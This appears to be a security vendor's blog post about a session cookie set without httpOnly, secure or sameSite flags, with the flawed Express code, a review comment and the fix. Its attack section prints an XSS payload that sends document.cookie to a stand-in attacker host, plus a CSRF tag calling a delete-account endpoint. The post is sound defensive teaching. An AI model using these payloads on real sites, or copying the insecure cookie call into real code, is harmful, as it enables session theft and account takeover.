Mesrai
Back to blog
// essaySecurity

Missing httpOnly + secure Cookie Flags: The Cookie Audit

Real PR walkthrough: session cookie set without security flags. Three attacks one line stops — XSS, MITM, CSRF. CWE-1004 + CWE-614.

Mesrai TeamJuly 22, 20268 min read

A login handler. Sets the session cookie at the end. The line looked complete to the author. Mesrai flagged it because the cookie defaults are the wrong defaults for an auth cookie.

The vulnerable diff

tsauth/session.ts
// auth/session.ts
authRouter.post("/login", async (req, res) => {
  const ok = await authenticate(req.body.email, req.body.password);
  if (!ok) return res.status(401).json({ error: "bad credentials" });

  const token = await signSession(req.body.email);
  // BUG: no httpOnly, no secure, no sameSite
  res.cookie("sid", token);
  res.json({ ok: true });
});

What is wrong

Three separate hardening flags must be set on any cookie carrying an authentication credential. `httpOnly` prevents JavaScript reads via `document.cookie` — without it, a single XSS finding becomes a session theft. `secure` prevents the cookie from being sent over plain HTTP — without it, any MITM (coffee-shop wifi, hostile ISP) can capture and replay the cookie. `sameSite` prevents cross-site requests from including the cookie — without it, CSRF is open. The defaults of `res.cookie` set none of these.

The attack

Three sample attacks lined up against the same line of code:

textexploit
1. XSS steal:
   <img src=x onerror="fetch('https://evil/'+document.cookie)">
   Cookie sent to attacker. Use the session immediately.

2. MITM (no `secure`):
   Plain HTTP intercept on coffee-shop wifi captures the cookie.
   Replay against the API.

3. CSRF (no `sameSite`):
   evil.com hosts <img src='https://app.example/api/delete-account'>
   User's browser sends the cookie automatically.

All three are real attack classes that the three cookie flags prevent in one line each.

Mesrai's review comment

textreview-comment.txt
mesraipilot · Bot · reviewed 2 min ago

[mesrai] [code-review] [Security] [CWE-1004, CWE-614] [high]

Session cookie set without security flags. Three issues on one line:

  - httpOnly missing: XSS can read via document.cookie
  - secure missing: cookie travels over plain HTTP
  - sameSite missing: cross-site requests carry the cookie

Fix:

  res.cookie("sid", token, {
    httpOnly: true,
    secure: true,
    sameSite: "lax",        // or "strict" if you don't need top-level
                            // POST navigation
    maxAge: 24 * 60 * 60 * 1000,
    path: "/",
  });

For OAuth callbacks where sameSite:strict breaks the flow, use lax.
For API-only cookies set on a different origin than the frontend, use
none (and require secure: true).

Reference: OWASP Session Management Cheat Sheet, CWE-1004, CWE-614

The fix

tsauth/session.ts (fixed)
// auth/session.ts — fixed
res.cookie("sid", token, {
  httpOnly: true,
  secure: process.env.NODE_ENV === "production",
  sameSite: "lax",
  maxAge: 24 * 60 * 60 * 1000,
  path: "/",
});

Four flags total: the three security flags plus an explicit `maxAge`. The `secure` flag is gated on production so the cookie still works in local HTTP dev. For OAuth flows that break under `sameSite:strict`, use `lax`. For separate-origin API + frontend setups, use `sameSite:"none"` with `secure:true` — the only combination browsers accept for cross-site cookies in 2026.

Why human review missed it

Cookie security flags are not part of the `res.cookie` signature most developers learn from tutorials. The default behavior of Express looks safe because it 'just works' — the bug is invisible until you read the rendered Set-Cookie header. Mesrai's rule pack catches every `res.cookie` call on a session or auth cookie without explicit flags.

Related rules + further reading

Mesrai rule pack: security/cookie-flags-required — flags `res.cookie` on auth/session cookies without httpOnly + secure + sameSite.

OWASP: Session Management Cheat Sheet.

CWE-1004 / CWE-614 — cookie + cleartext-transmission classes.

Takeaway

Three flags. One line. Closes XSS steal, MITM read, and CSRF replay simultaneously.

// try

See it on your next PR.

Free for individuals. Install in two minutes. Mesrai reviews every commit.